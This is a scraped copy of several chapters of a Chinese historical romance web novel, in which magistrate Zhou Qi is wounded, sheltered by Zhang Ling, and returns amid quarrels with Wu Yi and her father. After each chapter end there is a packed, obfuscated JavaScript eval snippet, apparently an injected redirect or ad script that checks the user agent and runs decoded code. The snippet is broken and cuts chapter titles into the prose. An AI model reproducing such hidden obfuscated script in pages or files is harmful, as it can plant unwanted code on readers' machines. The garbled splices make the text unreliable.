“哎,何平大哥,谢谢你。” 何平原本已经走到门口,听见吴怡这话又转过身来,悠悠的说到,“吴怡,你爹的事情,是我对不起你。” 吴怡没想到何平会说这个,摇了摇头,“不怪你。” 两人分开后,吴怡躲在柜子里,真的缝起衣服。而外边已经腥风血雨,何启年的大部队面对一点战斗力都没有的马匪一下子就控制住了局面。吴怡见识兵丁进屋来了,赶紧穿好衣服,从柜子里出来。“哎哎哎,是我,是我。” 何启年也正好走了进来,“吴怡,这胡子老三怎么回事?” 吴怡正觉得不好解释,何平进来了,“你居然把胡子老三打死了?” 吴怡这骗人的脑子转得就是快,“啊?是啊,这个胡子老三,非要跟我拜堂成亲,我说喝两杯交杯酒,他居然同意了,我就趁着他要去拿酒杯,这么使劲照着他后脑勺来了一下子,谁知道他就死了,我就赶紧躲柜子里了。” “吴怡你真厉害。” “好了,赶紧打扫战场,无关人员马上撤离。” 何平与吴怡对视一眼,互送吴怡出来,“何平大哥,谢谢你。” 何平一时不知如何作答,只好抿抿嘴,“我派人送你回徽州。” 吴怡这边终于脱险,可是周启这边的情况变得万分紧急。原本许丞相派来的人不过来看看情况,知道是周启在这里才留下,他一直跟在周启身边照顾。如今张广突然冲出来,这人也只好先保护周启,可是这人武功不怎么样,被张广连刺数剑。而皇帝派来的人与刘四今勉 强打了一个平手,周启又没有带武器,局势变得异常危险。两人将周启挡在中间,刘四今与张广对视一眼,知道今天两人的目标都是周启,便不约而同向三人走去,包围圈越来越小。周启甚至能听见自己的呼吸声,心跳也越来越快。 “啊!”,许丞相的人面向张广率先发起攻击,拼尽全力保护周启,可是他与张广实力悬殊,周启也过来帮忙,而另一边也再次打在一起。 “小心!”侍卫见张广的剑再次刺向周启,一把将他推在一旁,自己却腹部中剑,周启也不知道这人叫什么,只好叫了一声“大人!” “快走!”这人将自己的剑扔给了周启,自己则死死抓住张广的手,献血从口中流了下来,他拼劲最后的力气,“快走!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十九章 周启失踪 - 风吹繁花散落时 - 红酒羊排 周启接过剑,怎么可能自己走呢,挥剑一砍,正砍在张广身上,张广瞬间撒开了宝剑。那边听见动静,皇帝的侍卫一分心,被刘四今打出三米远,一下子摔在周启身上,两人刚爬起来,刘四今已经来到近前,张广也回来继续参加战斗。 周启有了武器,与张广打得难舍难分,而另一个侍卫被刘四今一摔晕头转向,被刘四今连打好几指,也倒在了地上。周启一回头看见两人都快不行了,想来支援,可是张广挥剑,刺在了周启的左腹部,地上的两人瞬间急了,开始被张广刺了一剑的人满脸是血,一把抱住刘四今的腿不,撒手,“快走呀!”另一个终于得到机会,过来与张广交手,“大人快走!”周启也终于得到机会脱身,他现在只想赶紧找人来。周启捂着自己的腹部,艰难向前行走。可是小巷子太长了,周启觉得脚底越来越轻,头却越来越重,终于走到大路上,一下子摔倒在一女子身上。 “啊!你,你怎么了?哎呀,你受伤了!” “快,快,衙役,找衙役!”周启说完最后一句话,晕死过去。 何启年大获全胜,带着队伍,押着马匪进城,受到了徽州百姓的热烈欢迎。一行人将马匪悉数关进大牢,天色已经很晚了,大家一同来到知府衙门,可是周启却不在。 “我哥没有跟你们在一起吗?”娉婷简直不敢相信。 “吃完饭,他就应该回来了呀!” “没有啊,我没看见,连锁,连锁,你看见了吗?” “没有啊,小的还以为大人跟你们在一起。” 大家对视一眼,“坏了!会不会是张广?”李博了解周启,就算他有什么事情也不会在这个时候不在的。 “张广?余年都抓起来了,他还敢出来?” “你别忘了,还有张海呢。大小姐,你赶紧去钱家问问,还是陈家,我对人去街面上找找。” “李博!”何启年想起了一件事,“会不会是二愣子?我们这次剿匪,并没有看见二愣子。” “那你赶紧去牢里问问,二愣子去哪了,他要是进城,就麻烦大了!” 三人分开行动,娉婷与李博自然没有找到周启,何启年在牢里审讯出来,“我问出来了,这二愣子叫刘四今,曾是少林寺俗家弟子,功夫好。”大家回到知府衙门,何启年说道。 “啊?那我哥?”娉婷都要急死了。 “轻敌了。”李博现在只要后悔,“当时应该把他送回来就好了!” “你现在说这个有什么用?我哥……呜呜呜。” “大小姐别急,李博,你刚刚在界面上什么也没有找到吗?” “倒是有一个人,不知道怎么斗殴死了,尸体在益庄呢” “带我去看看。” “我看过 了,不是五皇子。” “那我也得去看看,去看看我倒安心一些。” “好,何统领,跟我来。” 一行人来到益庄,掀开白布,何启年大惊,“他,我见过这个人!” 大家都看向何启年,只见何启年仔细回想,“我想起来了,他是许丞相的门人!” “那?这是怎么回事?”娉婷带着哭腔。 “说明大人遇到了危险。” 娉婷上来就推了李博一把,“你别胡说!” “大小姐,这人是中了一剑,张广就是用剑的。” “大人。”益庄的小吏赶紧过来解释,“大人,这人并非死于剑伤。这剑伤的却很严重但是一时半会不会死,刚刚仵作已经验明,他是死于大力金刚指。” 一听这话,所有人都傻了,剑伤加大力金刚指,说明有两人,一个就是刘四今,另一个很有可能是张广。 “怎么办呀!” “李博,你赶紧封锁城门,我带人在城里搜寻,不管是哪里,尤其医馆,客栈,甚至是河里,都要找!”何启年知道大事不好,但是现在耽误的每一分钟都会是致命的,何启年对着小吏吩咐到,“发现这尸体的地方在哪?我要去看看!” “哦,就在同福苑旁边的小巷子里,我这就到您去。” 娉婷跟着何启年,何平与连锁单独带一队,李博带着衙役再次关上了城门。 吴怡被人护送回到了钱家,正与钱宁说刚才的情形,当然按照何平的建议省略了差点被胡子老三占了便宜的片段,小厮急急跑了进来。 “少东家,少东家!” “怎么了?” “少东家,周大人失踪了。” 钱宁与吴怡对视一眼,都看见彼此的惊诧,“什么叫失踪了?” “就是找不到了,现在全城都戒严了。” “这个周大人真奇怪,他不是在徽州城里好好待着呢吗?也没有去剿匪,怎么失踪了呢?”吴怡看了钱宁,“哎,钱宁,你说他是不是又要耍什么花招?” “耍花招?不会吧?现在徽州城可是他一家独大了,况且他运筹帷幄,剿匪有功,这个时候正应该好好表现,将功劳抓在手里才对,怎么会玩失踪呢?” 吴怡想了想,也不明白,“嘿,管他呢。他这个人啊,小心思最多了,肯定不会有事的。来来来,我再给你讲讲,我告诉你啊,我当时可英勇了,那个马匪离我就这么近!” 钱宁听吴怡将她的英勇事迹,也瞬间将周启失踪的事情抛在了脑后。直到第二天,城门再次紧闭,所有人都知道周知府失踪了。 “真是奇怪啊,这周知府能去哪呢?”钱万全再次在花厅想事。 “爹,现在我们虽然不是跟周大人绑在一条绳上了,可是周大人也算是一个 好知府,我们还是派伙计多留意一下吧?” “恩,你说的是,你去叫伙计们都留意一下。” 而在徽州城中一个小院里,周启终于苏醒,他一睁眼便看见一位姑娘坐在他床边。 “公子,你醒了?” “这是哪啊?”周启声音微弱沙哑。 “这是我家,你别太担心了。大夫说你失血过多,需要好好休息。” 周启看这人,一双柳叶弯眉下一双月牙一般的眼睛,鼻子也长长的,她亲自将手巾拧干,搭在周启的额头,连手指头也长长的。 “你别担心,昨天你发热了,可是现在已经退下去了。” “你是谁啊?” 这姑娘一迟疑,原来这正是从京城回来的张灵。三天前,她从京城回来,原本想找陈家谈谈生意,她想两家在西凉共享市场。可是张灵一进城就发现有人冒充她四处收货,最终那人选定了钱家。张灵原本想在他们交易现场抓住冒充她的人,可是她远远看见钱宁亲自接待,而冒充她的人居然是钱家的丫鬟——吴怡。张灵知道钱宁不会平白无故这样,只好忍住没有揭穿,她又觉得住客栈不值得,便买了一座小院落,这两天仆人们正忙着打扫呢,张灵觉得乱的慌便在街上随便逛,正好在街上救了周启。 张灵听周启问自己,一愣神,觉得还是先不要说真名了,毕竟不知道钱宁他们在干什么,万一破坏了人家的计划终归不太好,“我?我叫,张美女。” “张美女?谢谢你救了我。” “没关系。” “哦,对了,你找衙役了吗?” “找了,找了。”张灵心想:光顾着救你了,还找衙役呢,等我想找衙役,都宵禁了,谁敢出去?“你赶紧休息吧。” 周启觉得身子虚,再次沉沉睡去。 李博觉得事情正向着不太好的方向发展,因为一晚上了,周启还是没有找到,连医馆也没有什么消息。 原来给周启看病的大夫等了一晚上,怕周启出现什么意外,第二天天亮了就回家去了,没有遇到巡查的兵丁。而周启以为张灵找了衙役,自己在这的事情一定会被衙门知道,马上就会有人来接自己了,所以也没有什么担心,沉沉睡着了,到了晚上才醒。 周启好不容易坐起来,张灵来了,“哎,大夫说你很虚弱,需要好好休息。对了,你叫什么呀?” “周启。” “周启?哦,你家在哪?我去找他们来接你。” “我家在京城。”周启想:既然不小心把真名说了,自己是知府的事情还是别说了,等着衙役来接吧。 “那你来徽州做什么?” “做点小本买卖。” “做生意呀!”张灵两眼放光,“什么生意?” 周启见她这样又后悔 了,心想:今天说话没带脑子吗?难道是失血过多,所以就笨了嘛?“那个,没什么,我就想来看看有什么生意可以做。” “哦。”张灵脸上的失望之情溢于言表。 “张小姐哪里人啊?” “我是晋中的。” “晋中有个张家?” “就是我家呀,所以呀你要是有什么生意带着我一起,咱们有钱一起赚。” 周启知道晋中张家的小姐叫张灵,吴怡这次就是假扮她的,这个张美女难道是张灵的妹妹?“那你怎么住在徽州啊?” “嘿,这租房子哪有买房子划算呢?我最近啊都在徽州,等我要是不在这了,我把这房子一卖,没准还能赚点呢。” “恩,说的有道理,受教了。” “好说好说。恩……那天追杀你的是什么人呀?” “歹人。” “你怎么证明?也许你就是歹人呢?” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十章 钱朵误会吴怡 - 风吹繁花散落时 - 红酒羊排 “我是歹人?那我叫你去找衙役做什么?自投罗网吗?” “恩,也对,看你也不像坏人。” “对了,没人来找我吗?” “没有啊,你在这徽州还认识别人吗?我去帮你叫他们来。” “算了,只不过这几天可能麻烦张小姐了,我一能走,我马上离开,这些天的医药费、伙食费我都会再差人送来的。” “嘿,别客气,出门在外谁没遇到点难处呢?日后有了生意想着点小妹我就是了!” “好,我一定想着张小姐。” “那就好,你先休息吧。” 第二天一早,周启还是没有等来衙役,他有点生气,心想自己这个徽州知府就这么不重要吗?居然每一个人来! “周公子?你怎么起来了?” “哦,我想出来透透气。”原本周启打算就是拄着拐杖也要回去,把那帮没心没肺的人都骂一顿。 “周公子,大夫说你老躺着肯定也心情不好,所以你有什么需要的,尽管开口,千万别客气。” “没什么需要的。” “周公子,原本我救了你是一件功德,如是你住在这里不自在,心里有了什么怨气,岂不是弄得大家都难堪。” “怎么会呢?张小姐救了我,我自然感激,怎么会有怨气呢?” “周公子需要什么尽管开口,我一定尽力满足。” “恩……”周启想自己现在最想回去骂那帮笨蛋一顿,可是又不好说出来,转眼看见房间里摆着一把古琴,“张小姐会弹琴吗?” “会一点,周公子想听?” 周启自己拄着拐来到琴旁边的椅子上坐下,正襟危坐,弹凑起来。张灵在旁边听得入迷,这音乐自己从未听过,但是琴声质朴,滴滴点点,想在诉说心事。一曲罢,张灵也搬了一把椅子坐在周启身边,两人居然共同弹奏起来。琴声咚咚,两人四目相对,都觉得心旷神怡,居然有一种前所未有的默契之感。就这样,两人居然拿来琴谱细细研读,互相弹奏,一天又过去了。 周启悠然自在,李博都要急疯了。“这个死周启,也不知道赶紧回来!” “李博!”何启年见他如此没大没小,出言制止。 “哎呦我的何统领啊,都什么时候了。我告诉你们,要是他回来,我非得好好收拾他一顿!” “我也要!”娉婷都急哭好几次了,以前出了什么事都有哥哥挡在前边,帮着她拿主意,可是现在哥哥居然不见了。 侍卫门的房间里,侍卫门也正与李老四说这事。李老四一直住在知府衙门,听说女婿丢了也急得不行,就差用他仅有的一条腿蹦着去找了。“这个死吴怡,也不知道赶紧帮着找找,就知道在钱家赚她那十两银子,没良心的丫头片子!” “李大叔,这吴怡在钱家就是为了赚钱吗?” 侍卫门也已经看出了钱宁对吴怡的不同寻常,调侃到。 “啥?你啥意思?” “我看她是想当钱家少夫人呢吧!” “当少夫人?啊呸!我们吴怡已经嫁给周大人了,好女不嫁二夫懂不懂?” 一个侍卫大着胆子说到,“那要是我们大人不会来了呢?” “那吴怡就好好守寡,她生是周大人的人,死是周大人的鬼。” 侍卫门面面相觑,没想到这位李大爷还真把这件事当回事,可是人家周大人别说回不回得来,也不可能娶吴怡呀,注定让人伤心的主。 吴怡还不知道自己的后半生已经被李老四安排给周知府了,还在钱府悠闲自在地浇花呢。这些天她一直在帮周知府干这干那,在钱府的正经的工作都耽误了,所以格外勤快。 “吴怡?” “哎,大小姐?大小姐,你怎么来了?”吴怡赶紧放下手中的活。 “吴怡,周公子失踪了,你知道吗?” “啊?还没回来吗?” “是啊,如今城门都关了,还没有找到周大人,真是急死人了!”钱朵被周启拒绝后,心灰意冷,每天闷闷不乐,可是今天她听说周启失踪了,还是着急起来,自己又出不去,只好来找吴怡。 “奇怪,我还以为他早都回来了呢。” 钱朵一把拉住吴怡,“吴怡,你赶紧去知府衙门看看啊。” “好,我这就去。”吴怡走了两步,又回过头,“哎,大小姐,你干嘛这么紧张?” “我?我,这周大人是一方父母,他失踪了,城门都关了,我们钱记也受影响不是。” “哦,那你先别着急,我去看看。” “打听好了,赶紧来告诉我!” “好,我现在就去。”吴怡小跑着打算去打听情况,刚跑到门口遇到了钱宁。 “哎,吴怡,你这么着急干嘛去?” “少东家。”吴怡跑到钱宁身边,“少东家,城门是不是又关上了?” “你要出城啊?” “嘿,不是。是不是周大人失踪了还没有回来?大小姐让我去打听打听情况。” 钱宁一听是钱朵要打听情况,就变得十分紧张,“朵朵?那个,那个吴怡呀,你去了人家知府衙门也不一定告诉你呀。” 吴怡一想也是,不过再一想李老四不是一直在那里呢嘛,问问他呗。“没事,我能打听出来。” “吴怡……” 吴怡知道钱宁担心自己,突然很神秘地靠近钱宁,“钱宁,来。” “怎么了?”钱宁与吴怡靠的很近。 “我告诉你啊,我和周大人。”吴怡私下张望,“我和周大人拜堂成亲了。” 钱宁身子弹了一下,惊讶地看着吴怡,不 自觉抬高了嗓门,“你,你们?你和周大人成亲了?” 身后,钱朵也听见了这一句,她瞬间觉得五雷轰顶,如果自己被拒绝了,凭什么吴怡可以? “嘘,小点声!”吴怡再次靠近钱宁,“我们呀就是被马匪逼的,为了活命嘛。”可是这句话钱朵并没有听见,她迈着沉重的步伐往回走,天气十分闷热,越来越闷,让钱朵喘不过气来,钱朵不知道怎么回到了房间,趴在床上嚎啕大哭。 “小姐,小姐,你怎么了?” “我,呜呜呜呜。” “小姐,你怎么了?我也听说了,说是周大人失踪了,可是周大人吉人自有天相,一定不会有事的。” 钱朵坐起来,一把抱住春菊,“凭什么呀?凭什么?” “小姐?” “春菊,你说,吴怡哪里好了?她凭什么?”钱朵心里越来越气,自己居然被吴怡比下去了,这怎么可以忍受? “吴怡?” “春菊,周公子娶了吴怡了!” “啊?”春菊简直不能相信, “什么眼光?我哪里不如那个吴怡了?” “小姐,等会儿小姐。周大人要是娶了吴怡,她为什么还在咱们钱家呢?” “对呀。”钱朵听春菊这么说,一下子冷静下来,放开了春菊,“为什么呢?” “小姐,肯定是你听错了。” “我听错了?” “小姐,吴怡算什么东西,周大人怎么会要她呢?” “可是,可是哥哥很喜欢她呢。” 春菊想起了以前她看见的事情,如今不得不告诉钱朵了,“大小姐,我以前就觉得这个吴怡奇怪。” “吴怡怎么了?” “小姐,我有一天看见吴怡鬼鬼祟祟的,我在她床底下看见一大推小银票,怎么也得有五十两银子。” “五十两?她怎么有这么多钱?” “就是啊,那天她去了知府衙门,就鬼鬼祟祟带回来五十两银子,第二天我再看就没有了。” “你,你是说?” “小姐,这个吴怡一定是周大人派到咱们钱家的探子。” “你胡说!周公子怎么会干这种事情呢?” “那就是吴怡她自己,她可定将咱们钱家的事情告诉知府衙门了,从他们那里要了钱。” “那,那周知府为什么娶她?” 春菊八卦听多了,准备继续发挥想象力,“小姐,你会不会听错了,也许是吴怡逼周大人娶她,周大人没有同意呢?” “是嘛?我听错了?不行,我得去问问。” “小姐,你去问谁?吴怡肯定不能承认啊!” “我,我去问问哥哥,要是周公子成亲了,他肯定会告诉我,让我断了念想。” 钱朵一路来到钱宁的房间,“哥哥,我问你,周大人是不是回家 成亲去了?” “成亲?没有啊。你上哪听说的?” “那就是他夫人有什么事,他陪夫人去了?” “周大人并未婚嫁啊。” 钱朵听到了如此确切的回答,心中生了吴怡的气,心里觉得春菊的推断甚合道理,“这个吴怡。” “你说什么?” “哥,你喜欢吴怡是不是?” 钱宁一愣,“我……” “哥,吴怡不是好人,你不要喜欢她。” “哈哈,朵朵,你怎么突然这么说呢?” “哥,当初娉婷姐姐就是这么说的。” “朵朵,我的事情我自己会处理的。” 可是不管钱宁如何说,在钱朵心里,吴怡已经是一个十恶不赦的人了。 此时的周启不知道外边已经乱套了,与张灵相谈甚欢,两人甚至爱吃的东西都一样,周启有一种这次受伤很值的感觉。用过晚饭,张灵扶着周启回屋,刚要跨进门,一个黑影一下子窜了过来。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十一章 周启回来了 - 风吹繁花散落时 - 红酒羊排 周启转身一看,皇帝派来的人正掐着张灵的脖子。 “住手!”那人赶紧松开,张灵虽然受了惊吓,却不忘过来护住周启,“你要干什么?” “您该回去了!”那人根本不理张灵,面无表情对着周启说到。 周启轻轻推开张灵,“张小姐,我该回去了。” “回去?他是你家人啊?” “算是吧,这些天谢谢张小姐了,告辞。” 两人出了张灵的小院,那侍卫一直跟在周启身边。“我问你,张广呢?” “受了重伤,不知死活。” “那个人是什么人?” “不太清楚,不过他第一天跟着您就对您下手了。” “第一天?”周启觉得奇怪,希望李博那边有线索,“我问你,我外公的人呢?” “死了。” “那你呢?” “只要臣还有一口气,定会护大人周全。” 周启觉得心情复杂,他是想问问这人的伤情,可是这人是不会告诉他的。他与很多人素未谋面,有人第一次见他就要置他于死地,而有人拼上性命救了他,他甚至不知道那人叫什么。 “大人。” 周启回身看着皇帝的侍卫。 “大人不必自责,也不必想太多。这世间有很多人都会为大人而死,我们不是第一个,也绝不会是最后一个。” “你叫什么名字?” “臣现在是您的暗卫,没有名字。” 周启知道暗卫,他们无名无姓,有些人终身与主子没有见过,但是他们却在暗处帮主子挡下了无数的暗箭,是世界上最忍得住孤独的人,也是世界上最忠诚的人。 周启回过神,想说句谢谢,可是最终还是强忍住,什么也没有说,也没再看暗卫,继续走路。不一会儿的功夫,便远远看见知府衙门,周启再回身看时,暗卫已经消失在夜色中。 “大人?”衙役看见周启,虽不知他在看什么,但是总算是回来了。 周启不慌不忙往知府衙门走,李博等人听说周启回来了,都赶紧跑出来迎接。 “你跑哪去了!” “我?”周启看见李博还敢怪自己,更没有好气,“你怎么不来接我?” “我上哪接你?” “没人告诉你吗?我……”周启不知道为什么张美女没有来找衙役,可能找了大家都没在意? “你到底去哪了?” “哦,没哪,我这不回来了嘛,进屋吧。” 李博觉得周启十分奇怪,自然追着询问,“那个张广是不是又出来了?” “恩。”周启已经稳稳当当坐在椅子上,等着连锁给自己奉茶。 “一直保护你的人呢?” “保护我的?你说父皇派来的人吗?还在呢,他没事。” “谁袭击你的?张广和二愣子联手了吗 ?还有别人吗?” “二愣子?” “是啊,那个大力金刚指,是二愣子的看家本领。” “他居然是少林寺俗家弟子?” “是啊,马匪都交代了。太危险了!你没受伤吧?” “哦,没事,大夫已经看过了。” “你真受伤了?”李博一听可急了,赶紧到周启身边,“伤在哪里了?我看看。”说着李博已经来掀周启的衣服。 “哎呀。”周启一把推开李博,“没事了,人家都给我上了药了。再说了,你又不是大夫,看什么看?” “哥,这些天你去哪了?我们都要急死了。” “我不过受了点伤,在人家里呆了两天,没事的。” “大人,马匪已经悉数剿灭,只有这个二愣子在逃。看来他是早就进城了,现在应该赶紧把他找出来,要不他实在太危险了。” “恩。”周启站起来,“何统领,李博,据那个暗卫说,这个二愣子是第一天跟着我就出手了。” “第一天?为了给马匪报仇吗?可是马匪明明说是他解散了大家,他怎么会?”何启年觉得这有些蹊跷。 “哦,对了,他知道我是五皇子。” 此言一出,所有人都惊呆了,“怎,怎么可能呢?” “他见到我就说了句话:五皇子,别来无恙。” 大家面面相觑,在这徽州城居然还有人知道周启的身份,这可真是太危险了。“大人,现在二愣子如何得知大人身份还不确定,若是还有别人知道,大人在这就不安全了,老臣想,不如大人就此回京。” “不!”周启斩钉截铁,“本官是皇上亲封的徽州知府,别说只有二愣子和张广在外边,就算这徽州都与本官为敌,本官也绝不会退缩!” “大人!” “别再说了!”周启看看何启年与李博,他明白大家是担心自己,可是他绝不会因为受到了危险就灰溜溜回京去。“何统领,马匪已经剿灭,你回京之时带着娉婷一起。” “哥!” “你不要再说了,我意已决,万难更改。” 娉婷一跺脚,转身离开,这些天对周启的担心一消而散,转而是对自己命运的悲哀。大家目送娉婷离开,李博知道周启做出如此决定也是无可奈何。 正在大家沉默之时,一声“周大人?”从外边传来,众人齐齐看向门口,只见吴怡探着脑袋。 “你们都先下去吧。”周启一声令下,所有人鱼贯而出,吴怡站在门口笑嘻嘻恭送每一个人,等所有人都出去了,她才又探着脑袋,“周大人?” “进来吧。” 吴怡看了一眼地面,乐呵呵走进来,“你回来了?” 周启疑惑地看着吴怡,“你怎么来了?” “我们大小姐担心你,让我来 看看。” “她怎么知道我这几天不在?” “大家都知道了。”吴怡见周启更加疑惑,“为了找你,城门都关了,谁还能不知道吗?” 周启蹭的一下站起来,“谁关的城门?”周启越过吴怡,对着门外喊到,“连锁,连锁。” “大人,小的在呢。”连锁飞也似地小跑进来。 “谁关的城门?” 连锁看了一眼吴怡,犹犹豫豫地回到,“大人,这,是,是李大人。” “李博!” “哎。”李博现身进来,“怎么了?” “谁让你关城门的?” “嘿,多新鲜,你都丢了,我们不得找找呀?”李博知道周启要发脾气,只好插科打诨。 被李博这么一说,周启顿时语塞,“你,你,你赶紧去开开去!” “这都快宵禁了,还有必要吗?明天吧,明天一早就开。” 周启这几天在小院里养伤,不知道哪里出了纰漏,居然没人知道他在哪,他也不知道外边的情况,这是他没有想到的,心中一阵懊恼。 “周大人?” “干嘛?” “周大人,既然你回来了,我也好和我们小姐交差了,这也要宵禁了,我就先回去了。” “恩。”周启才懒得管吴怡去哪,可是吴怡的小九九还没有盘算完,她慢悠悠走到周启身边,“周大人,马匪,是不是都抓起来了?” 周启看着李博,李博赶紧说是。 “那就好,那就好!不亏是周大人,运筹帷幄,把马匪一举消灭干净了,哈哈哈哈。” 周启,李博互视一眼,不明白吴怡什么意思。 “哈哈哈。”吴怡尴尬一笑,心想:不会又要抵赖吧?“那个,周大人,我那个……” “什么呀?”周启甚至怀疑是不是自己脑子变笨了,怎么不明白吴怡什么意思? “嘶,就是这个。”吴怡抬起右手,大拇指与食指一撮,周启终于明白了,“哦!那个呀。”周启轻轻打了吴怡的手一下,“想都别想。” “你怎么不讲信用?”吴怡顿时就急了。 “就不讲,怎么样?”周启觉得逗吴怡玩十分有趣。 “你!”吴怡知道来硬的是不行了,噗通跪在地上,跑着周启的腿,“啊啊啊,周大人呐,你就可怜可怜小女子吧!我可是拼了命才进了贼窝呀!我没有功劳也有苦劳呀!啊啊啊啊,周大人呐。” “吴怡!你鬼嚎什么呢?”正在周启李博都不知所措的时候,李老四拄着拐走了进来。 “爹。”吴怡爬着过来抱着李老四的腿,“爹呀,惨呐!我们父女是造了什么孽呀,你都是残废了,女儿想给你赚点医药费,可是碰上黑心的主顾,他不给钱呀!劳务费都克扣呀,爹,爹!女儿不孝啊!”吴怡声 泪俱下,周启算是见识了。 “哎呀,你要钱干什么?又没用。” “啊?”吴怡抱着李老四的腰,突然止住了哭喊,她怎么也没有想到李老四居然能说出要钱没用的话来,“啥意思?” “嘿,你都是知府夫人了,你还要钱干什么?这知府衙门都是你的。” 吴怡擦了一把泪,赶紧站起来,“什,什么呀,你别胡说行不行?” “我怎么胡说了,我可是亲眼看见你们三个头磕在地上,那还能有假?” 周启与吴怡对视一眼,都服了李老四了,“爹,我,我们那天是逢场作戏,我们。”吴怡又看了一眼周启,“我们怎么可能呢?” “怎么不可能?” “就是不可能。”李博在旁边帮腔到。 “嘿,你看不起我闺女是不是?”李老四一把将李博推开,“你放心,我闺女又不嫁你,我闺女是知府夫人。” 李博原地转个圈又回来,“你能别做梦了吗?” “做什么梦?我做梦?我闺女还能配不上周大人?” “就是配不上。” “嘿,你真是欺人太甚。” “我怎么配不上了?” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第八十二章 吴怡为五十两银子折腰 - 风吹繁花散落时 - 红酒羊排 “我怎么配不上了?”吴怡原本想拦着李老四,听李博说自己,当时就不干了。 “你。”李博本来就不喜欢李老四,对吴怡也没放在眼里,他再次上下打量了一下吴怡,“你也不照照镜子,你哪里配了?” “哦,我知道了。”吴怡与李老四站在一起,她看了一眼周启,见他一副看戏的表情,又与李博说,“我知道,你是周大人的人,我们当然不配了,你配,你最相配了。” “你!你别给我胡说八道啊。” “我怎么胡说了?要不你干嘛觉得我们都配不上你的周大人呢?” 周启原本在一旁看戏,见火已经烧到自己身上了,瞬间不想看戏了,“行了行了,你们都回去吧。” 说时迟那时快,李老四双手拿着拐杖对着周启就是一下子,“好小子,你敢抛弃我闺女!” 周启被打了一下,顿时有点懵,“你,你怎么打人呐?” “我打你,我打你怎么了?”李老四举起拐杖靠着一条腿追着周启打,周启又不能还手,站在旁边的李博可不干了,吴怡怕李老四吃亏,四个人又乱了起来,连锁赶紧过来护着周启,大声喊人,侍卫门冲进来见屋里乱了,也不知道该拿下谁。 “快过来呀!”连锁见侍卫门一动不动,着起急来。 侍卫门不管三七二十一将吴怡与李老四都拿下了,“你放开我爹。”吴怡双手被侍卫抓着,脚上还不老实,连踢带踹。 “好了!”周启这次真生气了,居然有人在他的书房打起来了,简直有辱斯文,“你们,都给我出去!” “大人。”李博见周启面部扭曲,想过来看看,可是周启大呵一声,“滚!”李博知道他生气了,不想再惹他,赶紧出去,吴怡也老实了,大家都瞬间安静下来。 “你们。”周启指着侍卫门,“放开他们,都出去。”侍卫门得令,放开了吴怡与李老四,鱼贯而出,李老四气喘吁吁,吴怡过来扶着。 “爹,你没事吧?” “我,我早晚被你气死。” “我怎么了?” “还你怎么了?好好的知府夫人你不当,你想气死我呀。” “你就别再提什么知府夫人了。”吴怡真是服了李老四,那天情势危急才迫不得已,现在他倒是死咬着不放。吴怡看了一眼周启,心想:你倒是说句话呀!不过她看周启一手捂着肚子,脸色苍白难看,吴怡赶紧过来,“周大人,周大人,你怎么了?” “哎哟,我的好女婿,你怎么了?” “我没事。”周启觉得浑身没力气,伤口还在疼。吴怡见他这样,生怕他发生什么事情,刚要出去叫人,被周启一把拉住,“别去。” “这,你,你怎么了?” “我没事,先扶我坐 下。”吴怡扶周启坐下,关切地看着周启,“那边有药箱,你去拿过来。” 吴怡去拿药,李老四觉得这是个两人单独相处的好机会,十分有眼力见地走了。“拿来了。”吴怡将药箱放在桌子上打开,里边瓶瓶罐罐。 “这个是金疮药,你打开,帮我上一下药。” “哦,好。”吴怡慌手慌脚打开,看着周启“你伤在哪里?” 周启自己将外衣脱下,撩开里边的衣服,肚子上一寸长的伤口又渗出了血。吴怡见这么多血,顿时有点慌,“你这是怎么弄的呀?” “被人砍的。”周启十分平静地说到。 “那,要不要找大夫看看,你这伤口这么大,涂这个药能行吗?” “这是我从家里带来的,没有比这个更好的了,就是上次涂在你脸上的那种,你看你的脸不是全好了吗?” 吴怡下意识用手背摸了摸自己的脸,的确没几天就好了,她抬眼看着周启,觉得他应该有分寸,便猫着腰帮周启上药。上完药,吴怡站起来,硕大的泪珠已经掉下来了。 “你哭什么?” 吴怡自己擦了两把眼泪,“你怎么不看大夫?” 周启整理好衣服,“我看过大夫了,我这里也有药。再说了,我没回来他们就能把城门关了,他们要知道我受伤了,还指不定怎么呢。” “你这个人真奇怪。” “我怎么了?” “你以前不也关过城门吗?” “那能一样吗?” “怎么不一样?反正对我们小老百姓都一样。” 周启抬头看着吴怡,她已经不哭了,“上次本官是为了全城的百姓,本官问心无愧。” “你就算为了你自己,百姓们也不敢说什么,你是知府大人。再说了,上次你把城门关了,还有这次李大人把城门关了,大家骂你们的话都一样。” 